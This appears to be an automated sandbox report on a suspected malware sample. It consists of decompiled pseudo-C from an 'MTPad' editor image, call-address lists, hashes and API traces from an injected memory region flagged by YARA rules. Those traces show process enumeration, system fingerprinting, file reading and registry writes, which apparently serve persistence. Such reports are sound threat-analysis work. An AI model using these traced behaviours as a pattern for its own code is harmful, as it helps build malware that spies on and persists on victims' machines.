0x000f2fcb
0x000f2fd2
0x000f2fd8
0x000f2fe0
0x000f2fe6
0x000f2feb
0x000f2fee
0x000f2ff0
0x000f303f
0x000f3045
0x000f304a
0x00000000
0x000f304a
0x000f2ff2
0x000f2ff8
0x000f2ffe
0x000f301b
0x000f3028
0x000f302a
0x000f302e
0x000f3036
0x000f303b
0x000f303d
0x000f3060
0x000f306c
0x000f307d
0x000f3089
0x000f309b
0x000f309d
0x00000000
0x000f309d
0x00000000
0x000f303d
0x000f3001
0x000f3006
0x000f3009
0x000f300b
0x00000000
0x00000000
0x000f300f
0x000f3014
0x000f3017
0x00000000
0x000f3017
0x000f2e28
0x000f2e2b
0x000f2f9e
0x000f2fa4
0x000f2fb7
0x00000000
0x000f2fb7
0x000f2e31
0x000f2e34
0x00000000
0x00000000
0x000f2e41
0x000f2e47
0x000f2e49
0x000f2e4f
0x000f2e52
0x000f2ee2
0x000f2ee2
0x00000000
0x000f2ee2
0x000f2e58
0x000f2e5d
0x000f2e5f
0x000f2e65
0x000f2e6d
0x000f2e74
0x000f2e78
0x000f2e7a
0x000f2e81
0x000f2e81
0x000f2e86
0x000f2e8b
0x000f2e8b
0x000f2e91
0x000f2ebd
0x000f2e93
0x000f2e93
0x000f2e9c
0x000f2e9c
0x000f2ec3
0x000f2ec9
0x000f2ecb
0x000f2ef0
0x000f2ef8
0x000f2efa
0x000f2efc
0x000f2f58
0x000f2f58
0x000f2f66
0x000f2f7a
0x000f2f82
0x000f2f88
0x000f2f94
0x000f2f94
0x00000000
0x000f2f88
0x000f2f00
0x000f2f00
0x000f2f0e
0x000f2f14
0x000f2f17
0x000f2f1a
0x000f2f36
0x000f2f36
0x000f2f36
0x00000000
0x000f2f36
0x000f2f1c
0x000f2f23
0x00000000
0x000f2f2a
0x00000000
0x00000000
0x000f2f2e
0x00000000
0x00000000
0x000f2f32
0x00000000
0x00000000
0x00000000
0x00000000
0x000f2f38
0x000f2f3d
0x000f2f4b
0x000f2f4c
0x000f2f4e
0x000f2f4e
0x000f2f52
0x00000000
0x000f2ecd
0x000f2ed3
0x000f2ed5
0x000f2edd
0x000f2edd
0x00000000
0x000f2ed5
0x000f2ecb
0x000f2e7c
0x000f2e7f
0x00000000
0x00000000
0x00000000
0x000f2dec
0x000f2dec
0x00000000
0x000f2dec

APIs

Part of subcall function 000F2AB0: lstrcmpiA.KERNEL32 ref: 000F2B2C

lstrlenA.KERNEL32(?), ref: 000F2E41

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: lstrcmpilstrlen
String ID:
API String ID: 3649823140-0
Opcode ID: 0d43afc655c795b341ecbc7f3649dd3869571b128206b973e00981a563eb6849
Instruction ID: 07f2b947cfde3424b2cf039efd744db40923b327432af2fcf96219b800718c38
Opcode Fuzzy Hash: 0d43afc655c795b341ecbc7f3649dd3869571b128206b973e00981a563eb6849
Instruction Fuzzy Hash: 1AC1A271A0022C9BDB28DB64CC41BFDB3F4AF49350F1041AAEB49A7A41D7749F85AF91

Uniqueness

Uniqueness Score: -1.00%

Function 02526EC7 Relevance: 15.1, APIs: 10, Instructions: 148filememorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0252A747: GetVersionExA.KERNEL32(0000009C), ref: 0252A7BE
Part of subcall function 0252A747: GetSystemInfo.KERNEL32(?), ref: 0252A7D0
Part of subcall function 0252A747: lstrcat.KERNEL32(00000000,0400C8E8), ref: 0252A7F5
Part of subcall function 0252A747: lstrcat.KERNEL32(00000000,0400C978), ref: 0252A9E9
Part of subcall function 0252A747: lstrlen.KERNEL32(?), ref: 0252A9F6
Part of subcall function 0252A747: lstrcat.KERNEL32(00000000,0400C980), ref: 0252AA09
Part of subcall function 0252A747: lstrcat.KERNEL32(00000000,?), ref: 0252AA1A
Part of subcall function 0252A747: lstrlen.KERNEL32(00000000), ref: 0252AA24
Part of subcall function 0252A747: lstrcat.KERNEL32(00000000,0400C984), ref: 0252AA3C

GetModuleFileNameA.KERNEL32(00000000,-00000100,00000104), ref: 02526F09

Part of subcall function 02523467: GetCurrentProcessId.KERNEL32(000000FF,00000128,00000002,00000000), ref: 025234B5
Part of subcall function 02523467: Process32First.KERNEL32(000000FF,00000128), ref: 02523519
Part of subcall function 02523467: lstrlen.KERNEL32(?,000000FF,00000128,000000FF,00000128), ref: 0252353F
Part of subcall function 02523467: lstrcpy.KERNEL32(?,?), ref: 02523559
Part of subcall function 02523467: OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0252356D
Part of subcall function 02523467: EnumProcessModules.PSAPI(00000000,?,00000004,00000000), ref: 025235A3
Part of subcall function 02523467: GetModuleFileNameExA.PSAPI(00000000,?,?,?,00000000,?,00000004,00000000), ref: 025235C2
Part of subcall function 02523467: CloseHandle.KERNEL32(00000000,00000000,?,?,00000000,?,00000004,00000000), ref: 025235E8
Part of subcall function 02523467: CloseHandle.KERNEL32(000000FF,000000FF,00000128,00000002,00000000), ref: 02523612

Part of subcall function 0252B4E7: GetSystemDirectoryA.KERNEL32(?,00000103), ref: 0252B561
Part of subcall function 0252B4E7: GetVolumeInformationA.KERNEL32(?,?,00000103,00000000,00000000,00000000,?,00000063), ref: 0252B5A4

Part of subcall function 02527497: lstrlen.KERNEL32(00000000), ref: 025274B2
Part of subcall function 02527497: CreateFileA.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 025274D7
Part of subcall function 02527497: GetFileSize.KERNEL32(000000FF,00000000), ref: 025274F0
Part of subcall function 02527497: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 0252750C
Part of subcall function 02527497: ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 02527534
Part of subcall function 02527497: VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 02527560
Part of subcall function 02527497: CloseHandle.KERNEL32(000000FF), ref: 0252756A

lstrcpy.KERNEL32(-0000043B,04013CA0), ref: 02526F7F
GetEnvironmentVariableA.KERNEL32(0400C5B0,?,00000207), ref: 02526FD1
wnsprintfA.SHLWAPI ref: 02526FF6
CreateFileA.KERNEL32(-00000100,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0252701B
GetFileSize.KERNEL32(000000FF,00000000), ref: 02527034
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 0252705D
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 02527097
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 025270D9
CloseHandle.KERNEL32(000000FF), ref: 025270E3

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: File$lstrcat$CloseHandleVirtuallstrlen$Process$AllocCreateFreeModuleNameReadSizeSystemlstrcpy$CurrentDirectoryEnumEnvironmentFirstInfoInformationModulesOpenProcess32VariableVersionVolumewnsprintf
String ID:
API String ID: 756562979-0
Opcode ID: 8156502d36eb68a2887af8f0818815dc803d5eef6301f09645a3c860774a52c8
Instruction ID: d43a099257b9548a607596ef614904cf50e4fef544ef73d926874534e2f7815e
Opcode Fuzzy Hash: 8156502d36eb68a2887af8f0818815dc803d5eef6301f09645a3c860774a52c8
Instruction Fuzzy Hash: AB5184B0904214ABEB14DFA4DC99FEE7B34EF48704F048158F7096A2C1D779AA84CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02523467 Relevance: 15.1, APIs: 10, Instructions: 111stringCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(000000FF,00000128,00000002,00000000), ref: 025234B5
Process32First.KERNEL32(000000FF,00000128), ref: 02523519
lstrlen.KERNEL32(?,000000FF,00000128,000000FF,00000128), ref: 0252353F
lstrcpy.KERNEL32(?,?), ref: 02523559
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0252356D
EnumProcessModules.PSAPI(00000000,?,00000004,00000000), ref: 025235A3
GetModuleFileNameExA.PSAPI(00000000,?,?,?,00000000,?,00000004,00000000), ref: 025235C2
CloseHandle.KERNEL32(00000000,00000000,?,?,00000000,?,00000004,00000000), ref: 025235E8
Process32Next.KERNEL32(000000FF,00000128), ref: 025235FE
CloseHandle.KERNEL32(000000FF,000000FF,00000128,00000002,00000000), ref: 02523612

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: Process$CloseHandleProcess32$CurrentEnumFileFirstModuleModulesNameNextOpenlstrcpylstrlen
String ID:
API String ID: 2294800487-0
Opcode ID: f968c283a4d19645c33466bb1cdde0a0755c48e1b5ee604f6c84b8f5c7af64fd
Instruction ID: 07693404dab91e3e852aa2a1c6cee9a2abb354bd86e6d73d2d2546106ce5c740
Opcode Fuzzy Hash: f968c283a4d19645c33466bb1cdde0a0755c48e1b5ee604f6c84b8f5c7af64fd
Instruction Fuzzy Hash: 5A41FE71904228ABDB25DF64CD84BEDB7B9BB49304F0046D9E50DA71D0D738AE88CF54

Uniqueness

Uniqueness Score: -1.00%

Function 025271C7 Relevance: 15.1, APIs: 10, Instructions: 99stringregistryCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(0401434C,0400C5E4), ref: 0252720E

Part of subcall function 025270F7: CharUpperA.USER32(00000000), ref: 025271A9

lstrlen.KERNEL32(0401189C), ref: 02527244
lstrcpy.KERNEL32(00000000,0401189C), ref: 0252725E
lstrlen.KERNEL32(00000000), ref: 02527268
lstrlen.KERNEL32(0401434C), ref: 02527275
lstrcat.KERNEL32(00000000,0401434C), ref: 0252728F
RegCreateKeyExA.ADVAPI32(80000001,00000000,00000000,00000000,00000000,00020006,00000000,00000000,00000000), ref: 025272C7
RegCloseKey.ADVAPI32(00000000), ref: 025272D5
lstrcpy.KERNEL32(00000000,0400C5F0), ref: 025272F8
lstrlen.KERNEL32(00000000), ref: 02527302

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$CharCloseCreateUpperlstrcat
String ID:
API String ID: 4161867159-0
Opcode ID: 283064f3844920ac37fad9982aeb83bacf8817c67858d829df94773c5d5e6cc7
Instruction ID: dcf312261174d44cd4a3f322d75b105dbf92ec4dccb54d26cbd45395f12215d1
Opcode Fuzzy Hash: 283064f3844920ac37fad9982aeb83bacf8817c67858d829df94773c5d5e6cc7
Instruction Fuzzy Hash: FF316075644218BBEB14DFA4DC49FAE7774FB48700F008518FA15AB2C0D779AA44CF94

Uniqueness

Uniqueness Score: -1.00%

Function 000F4380 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 224
stringCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E000F4380(unsigned int __ecx, unsigned int __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				char _v268;
				char _v1314;
				short _v1316;
				char _v2356;
				unsigned int _v2360;
				char _v2364;
				char _v2368;
				CHAR* _v2372;
				CHAR* _v2376;
				CHAR* _v2380;
				CHAR* _v2384;
				CHAR* _v2388;
				struct _CRITICAL_SECTION _v2392;
				CHAR* _v2396;
				CHAR* _v2400;
				CHAR* _v2404;
				char _v2408;
				struct HINSTANCE__* _v2412;
				void* _v2424;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t70;
				void* _t75;
				unsigned int _t78;
				struct HINSTANCE__* _t80;
				long _t81;
				int _t82;
				void* _t84;
				unsigned int _t90;
				signed int _t95;
				unsigned int _t97;
				unsigned int _t99;
				unsigned int _t103;
				void* _t110;
				signed int _t118;
				unsigned int _t145;
				void* _t148;
				struct HINSTANCE__* _t149;
				signed int _t151;
				void* _t152;
				void* _t154;

				_t140 = __edx;
				_t70 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t70 ^ _t151;
				_v2392 = 0;
				_v2388 = 0;
				_v2384 = 0;
				_v2380 = 0;
				_v2376 = 0;
				_v2372 = 0;
				_t144 = __ecx;
				_v2360 = __ecx;
				_t146 = __edx;
				_v2408 = 0x112cf0;
				_v2404 = 0;
				_v2400 = 0;
				_v2396 = 0;
				_v2368 = 0;
				if(InitializeCriticalSectionAndSpinCount( &_v2392, 0) != 0) {
					L5:
					_v2368 = 1;
					if(_t146 != 0) {
						_t116 =  *_t146;
						if( *_t146 != 0) {
							do {
								E000F2050( *((intOrPtr*)(_t146 + 4)),  &_v2408,  &_v2408, _t116,  *((intOrPtr*)(_t146 + 4)));
								_t116 =  *(_t146 + 8);
								_t146 = _t146 + 8;
							} while (_t116 != 0);
						}
					}
					_t75 =  *_t144;
					_t140 =  *(_t75 + 0x14);
					_t146 =  *( *(_t75 + 0x14))( &_v2408);
					if(_t146 < 0) {
						L11:
						E000F1F50();
						_t78 = _t146;
					} else {
						_t80 =  *0x170c08;
						_v2364 = 0;
						_v2412 = _t80;
						_t81 = GetModuleFileNameA(_t80,  &_v268, 0x104);
						if(_t81 != 0) {
							if(_t81 != 0x104) {
								_t140 =  &_v268;
								_t82 = lstrlenA( &_v268);
								_t128 =  &_v2360;
								_v2360 = _t82 + 1;
								_t84 = E000F1000(_t82 + 1,  &_v268,  &_v2360);
								_t154 = _t152 + 4;
								if(_t84 < 0) {
									L20:
									_t146 =  &_v2364;
									E000FA200( &_v2364);
									E000F1F50();
									_t78 = 0x8007000e;
								} else {
									_t145 = _v2360;
									if(_t145 > 0x400) {
										L18:
										_t148 = E000FA1D0(_t145, _t128, _t145,  &_v2364);
									} else {
										_t110 = E000F1030( &_v2360,  &_v268, _t145);
										_t154 = _t154 + 4;
										if(_t110 == 0) {
											goto L18;
										} else {
											E0010ACA0(_t145);
											_t148 = _t154;
										}
									}
									_t140 = _t145 >> 1;
									_t90 = E000F10E0( &_v268, _t145 >> 1, _t148, 3);
									_t144 = _t90;
									if(_t90 != 0) {
										_t130 =  &_v2356;
										E000F1620(_t144,  &_v2356, 0x208);
										_t149 = _v2412;
										if(_t149 == 0 || _t149 == GetModuleHandleA(0)) {
											_t140 =  &_v1314;
											_v1316 = 0x22;
											if(E000F1140( &_v2356,  &_v1314) != 0) {
												_t95 = lstrlenW( &_v1316);
												_t140 = 0;
												 *((short*)(_t151 + _t95 * 2 - 0x520)) = 0x22;
												 *((short*)(_t151 + _t95 * 2 - 0x51e)) = 0;
												_push( &_v1316);
												_push(L"Module");
												_t130 =  &_v2408;
												_push( &_v2408);
												goto L27;
											} else {
												_t146 =  &_v2364;
												E000FA200( &_v2364);
												E000F1F50();
												_t78 = 0x80004005;
											}
										} else {
											_t140 =  &_v2356;
											_push( &_v2356);
											_push(L"Module");
											_push( &_v2408);
											L27:
											_t97 = E000F2050(_t130, _t140);
											_v2360 = _t97;
											if(_t97 >= 0) {
												_t140 =  &_v2356;
												_t99 = E000F2050(_t130,  &_v2356,  &_v2408, L"Module_Raw",  &_v2356);
												_v2360 = _t99;
												if(_t99 < 0) {
													goto L28;
												} else {
													if(_a8 == 0) {
														_t103 = E000F27A0( &_v2408,  &_v2356,  &_v2408, _t144, _a4);
													} else {
														_t140 =  &_v2408;
														_t103 = E000F24C0(_a4,  &_v2408,  &_v2408, _t144, _a4);
													}
													_t146 =  &_v2364;
													_t144 = _t103;
													E000FA200( &_v2364);
													goto L34;
												}
											} else {
												L28:
												_t146 =  &_v2364;
												E000FA200( &_v2364);
												E000F1F50();
												_t78 = _v2360;
											}
										}
									} else {
										goto L20;
									}
								}
							} else {
								_t146 =  &_v2364;
								E000FA200( &_v2364);
								E000F1F50();
								_t78 = 0x8007007a;
							}
						} else {
							_t146 = E000F13E0();
							goto L11;
						}
					}
				} else {
					_t118 = GetLastError();
					if(_t118 > 0) {
						_t118 = _t118 & 0x0000ffff | 0x80070000;
					}
					_t144 = _t118;
					if(_t144 < 0) {
						L34:
						E000F1F50();
						_t78 = _t144;
					} else {
						_t144 = _v2360;
						goto L5;
					}
				}
				return E001059E6(_t78, 0, _v8 ^ _t151, _t140, _t144, _t146);
			}

0x000f4380
0x000f4389
0x000f4390
0x000f439a
0x000f43a0
0x000f43a6
0x000f43ac
0x000f43b2
0x000f43b8
0x000f43c5
0x000f43c8
0x000f43ce
0x000f43d0
0x000f43da
0x000f43e0
0x000f43e6
0x000f43ec
0x000f43fa
0x000f4420
0x000f4420
0x000f4429
0x000f442b
0x000f442f
0x000f4431
0x000f443d
0x000f4442
0x000f4445
0x000f4448
0x000f4431
0x000f442f
0x000f444c
0x000f444e
0x000f445c
0x000f4460
0x000f4491
0x000f4497
0x000f449c
0x000f4462
0x000f4462
0x000f4474
0x000f447a
0x000f4480
0x000f4488
0x000f44a8
0x000f44ca
0x000f44d1
0x000f44d7
0x000f44df
0x000f44e5
0x000f44ea
0x000f44ef
0x000f453d
0x000f453d
0x000f4543
0x000f454e
0x000f4553
0x000f44f1
0x000f44f1
0x000f44fd
0x000f4517
0x000f4524
0x000f44ff
0x000f4500
0x000f4505
0x000f450a
0x00000000
0x000f450c
0x000f450e
0x000f4513
0x000f4513
0x000f450a
0x000f452a
0x000f4532
0x000f4537
0x000f453b
0x000f4564
0x000f456a
0x000f456f
0x000f4577
0x000f4599
0x000f45ab
0x000f45bc
0x000f45e5
0x000f45f0
0x000f45f2
0x000f45fa
0x000f4608
0x000f4609
0x000f460e
0x000f4614
0x00000000
0x000f45be
0x000f45be
0x000f45c4
0x000f45cf
0x000f45d4
0x000f45d4
0x000f4584
0x000f4584
0x000f458a
0x000f458b
0x000f4596
0x000f4615
0x000f4615
0x000f461a
0x000f4622
0x000f4642
0x000f4655
0x000f465a
0x000f4662
0x00000000
0x000f4664
0x000f4667
0x000f4688
0x000f4669
0x000f466e
0x000f4675
0x000f4675
0x000f468d
0x000f4693
0x000f4695
0x00000000
0x000f4695
0x000f4624
0x000f4624
0x000f4624
0x000f462a
0x000f4635
0x000f463a
0x000f463a
0x000f4622
0x00000000
0x00000000
0x00000000
0x000f453b
0x000f44aa
0x000f44aa
0x000f44b0
0x000f44bb
0x000f44c0
0x000f44c0
0x000f448a
0x000f448f
0x00000000
0x000f448f
0x000f4488
0x000f43fc
0x000f43fc
0x000f4404
0x000f440b
0x000f440b
0x000f4410
0x000f4414
0x000f469a
0x000f46a0
0x000f46a5
0x000f441a
0x000f441a
0x00000000
0x000f441a
0x000f4414
0x000f46bd

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000), ref: 000F43F2
GetLastError.KERNEL32 ref: 000F43FC
GetModuleFileNameA.KERNEL32(000F0000,?,00000104), ref: 000F4480
lstrlenA.KERNEL32(?), ref: 000F44D1
GetModuleHandleA.KERNEL32(00000000), ref: 000F457A
lstrlenW.KERNEL32(?), ref: 000F45E5

Part of subcall function 000F2050: EnterCriticalSection.KERNEL32(?,1F9A9BDF,?,?,000F0000,000F4281,00112CF0,Module,?), ref: 000F209B
Part of subcall function 000F2050: lstrlenW.KERNEL32(00112CF0), ref: 000F20A8

Part of subcall function 000F27A0: lstrlenW.KERNEL32(REGISTRY,1F9A9BDF,00000000,?,00000000,?,00112CF0,Module,?), ref: 000F27D8
Part of subcall function 000F27A0: WideCharToMultiByte.KERNEL32(00000003,00000000,REGISTRY,000000FF,00000008,00000001,00000000,00000000), ref: 000F2857

Strings

Module_Raw, xrefs: 000F4649
Module, xrefs: 000F458B, 000F4609

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: lstrlen$CriticalModuleSection$ByteCharCountEnterErrorFileHandleInitializeLastMultiNameSpinWide
String ID: Module$Module_Raw
API String ID: 1217862086-3885325121
Opcode ID: 5a8366e40af17c00eca91ff8d7ac5ff4d6d44577dde59959bda6d7f83e51ac56
Instruction ID: 6791695c461433a8196ed0f44d9acf97d20671f4e4b956c684cd05ff08752d4d
Opcode Fuzzy Hash: 5a8366e40af17c00eca91ff8d7ac5ff4d6d44577dde59959bda6d7f83e51ac56
Instruction Fuzzy Hash: 34915C7190122C8BEB60EB64CC81AFEB3B5AF84300F0445A9EA09E7513DB75AE85DF51

Uniqueness

Uniqueness Score: -1.00%

Function 000F9F00 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 82
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000F9F00(long* __eax, void* __eflags, intOrPtr _a4, long _a8) {
				struct tagMSG _v32;
				void* __esi;
				long _t23;
				long _t27;
				signed int _t34;
				signed int _t47;
				long* _t49;

				_t49 = __eax;
				PeekMessageA( &_v32, 0, 0x400, 0x400, 0);
				E000F9E80(_a8, _t49, _a4, _a8);
				_t23 =  *_t49;
				_a8 = _t23;
				if(_t23 != 0) {
					do {
						_t47 = MsgWaitForMultipleObjects( *_t49,  &(_t49[1]), 0, 0xffffffff, 0xff);
						if(_t47 != 0xffffffff) {
							_t27 =  *_t49;
							_t6 = _t27 - 1; // -1
							_t41 = _t6;
							if(_t47 > _t6) {
								if(_t47 != _t27) {
									L11:
									MessageBeep(0xffffffff);
									goto L12;
								}
								GetMessageA( &_v32, 0, 0, 0);
								if(_v32.message != 0x400) {
									goto L11;
								}
								E000F9E80(_t41, _t49, 0x11293e, 1);
								goto L12;
							}
							CloseHandle( *(_t49 + 4 + _t47 * 4));
							_t34 =  *_t49;
							_t10 = _t34 - 1; // -1
							if(_t47 != _t10) {
								 *(_t49 + 4 + _t47 * 4) = _t49[_t34];
							}
							 *_t49 =  *_t49 - 1;
							goto L12;
						}
						MessageBoxA(0, "Wait for multiple objects failed!!!", "MTPad", 0);
						L12:
					} while ( *_t49 > 0);
					return _a8;
				}
				return _t23;
			}

0x000f9f13
0x000f9f1b
0x000f9f29
0x000f9f2e
0x000f9f32
0x000f9f37
0x000f9f45
0x000f9f57
0x000f9f5c
0x000f9f74
0x000f9f76
0x000f9f76
0x000f9f7b
0x000f9f9e
0x000f9fc7
0x000f9fc9
0x00000000
0x000f9fc9
0x000f9faa
0x000f9fb7
0x00000000
0x00000000
0x000f9fc0
0x00000000
0x000f9fc0
0x000f9f82
0x000f9f88
0x000f9f8a
0x000f9f8f
0x000f9f94
0x000f9f94
0x000f9f98
0x00000000
0x000f9f98
0x000f9f6c
0x000f9fcf
0x000f9fcf
0x00000000
0x000f9fdc
0x000f9fe1

APIs

PeekMessageA.USER32(?,00000000,00000400,00000400,00000000), ref: 000F9F1B

Part of subcall function 000F9E80: MessageBoxA.USER32 ref: 000F9E97

MsgWaitForMultipleObjects.USER32 ref: 000F9F55
MessageBoxA.USER32 ref: 000F9F6C
CloseHandle.KERNEL32(?), ref: 000F9F82

Strings

MTPad, xrefs: 000F9F60
Wait for multiple objects failed!!!, xrefs: 000F9F65

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Message$CloseHandleMultipleObjectsPeekWait
String ID: MTPad$Wait for multiple objects failed!!!
API String ID: 1409372293-1429448418
Opcode ID: 00d3e11cf13cf8ffd26c41d66e506fc0ff70f6cb77c1a87abb637be73ab59e26
Instruction ID: 8224d14a61a0d9aec00a13e8f2639ab9da47d6e98fdcb016041d364600a18659
Opcode Fuzzy Hash: 00d3e11cf13cf8ffd26c41d66e506fc0ff70f6cb77c1a87abb637be73ab59e26
Instruction Fuzzy Hash: 12216531644209AFD724DF58CC89FBAB3E9AB48721F208529F751D75C0DBB0A984DB51

Uniqueness

Uniqueness Score: -1.00%

Function 025276F7 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 80registrystringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,04013CA0), ref: 0252772E
lstrcat.KERNEL32(?,04011898), ref: 02527741
RegOpenKeyExA.ADVAPI32(80000001,0252541F,00000000,000F003F,00000000), ref: 0252777A
RegQueryValueExA.ADVAPI32(00000000,?,00000000,00000000,?,00000020), ref: 025277B9
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 02527802
RegCloseKey.ADVAPI32(00000000), ref: 0252780C

Strings

, xrefs: 02527788
, xrefs: 02527792

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: Value$CloseOpenQuerylstrcatlstrcpy
String ID: $
API String ID: 764223185-227171996
Opcode ID: da7619e2ec26fd526603613a89bb6260e08c8b3ebb1e99e0e601b59341468cfb
Instruction ID: c62f6944d846b9455900a3046ebbc8a770b7a7c0c229c7e8d0de3207eb563371
Opcode Fuzzy Hash: da7619e2ec26fd526603613a89bb6260e08c8b3ebb1e99e0e601b59341468cfb
Instruction Fuzzy Hash: C231437195021CABEB14CF90DC45FFEBB78FB49704F048598EA04A61C0D7B95A84CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 000FC640 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 56
stringCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E000FC640(void** __esi) {
				signed int _v8;
				char _v520;
				intOrPtr _v524;
				struct _PRINTER_DEFAULTS* _v528;
				struct _PRINTER_DEFAULTS* _v532;
				void* __edi;
				signed int _t14;
				void* _t16;
				CHAR* _t23;
				void* _t26;
				void* _t31;
				void** _t33;
				signed int _t34;

				_t33 = __esi;
				_t14 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t14 ^ _t34;
				_t16 =  *__esi;
				if(_t16 != 0) {
					ClosePrinter(_t16);
					 *__esi = 0;
				}
				_v520 = 0;
				GetProfileStringA("windows", "device", ",,,",  &_v520, 0x200);
				if(lstrlenA( &_v520) != 0) {
					_t23 =  &_v520;
					if(_v520 != 0) {
						_push(_t31);
						while( *_t23 != 0x2c) {
							_t23 = CharNextA(_t23);
							if( *_t23 != 0) {
								continue;
							} else {
							}
							L9:
							_pop(_t31);
							goto L10;
						}
						 *_t23 = 0;
						goto L9;
					}
					L10:
					_t30 =  &_v520;
					_v532 = 0;
					_v528 = 0;
					_v524 = 8;
					OpenPrinterA( &_v520, _t33, 0);
				}
				return E001059E6(0 |  *_t33 != 0x00000000, _t26, _v8 ^ _t34, _t30, _t31, _t33);
			}

0x000fc640
0x000fc649
0x000fc650
0x000fc653
0x000fc657
0x000fc65a
0x000fc660
0x000fc660
0x000fc681
0x000fc688
0x000fc69d
0x000fc6a6
0x000fc6ac
0x000fc6ae
0x000fc6b5
0x000fc6bb
0x000fc6c0
0x00000000
0x00000000
0x000fc6c2
0x000fc6c7
0x000fc6c7
0x00000000
0x000fc6c7
0x000fc6c4
0x00000000
0x000fc6c4
0x000fc6c8
0x000fc6cb
0x000fc6d2
0x000fc6dc
0x000fc6e6
0x000fc6f0
0x000fc6f0
0x000fc70a

APIs

ClosePrinter.WINSPOOL.DRV(1F9A9BDF), ref: 000FC65A
GetProfileStringA.KERNEL32(windows,device,,,,,?,00000200), ref: 000FC688
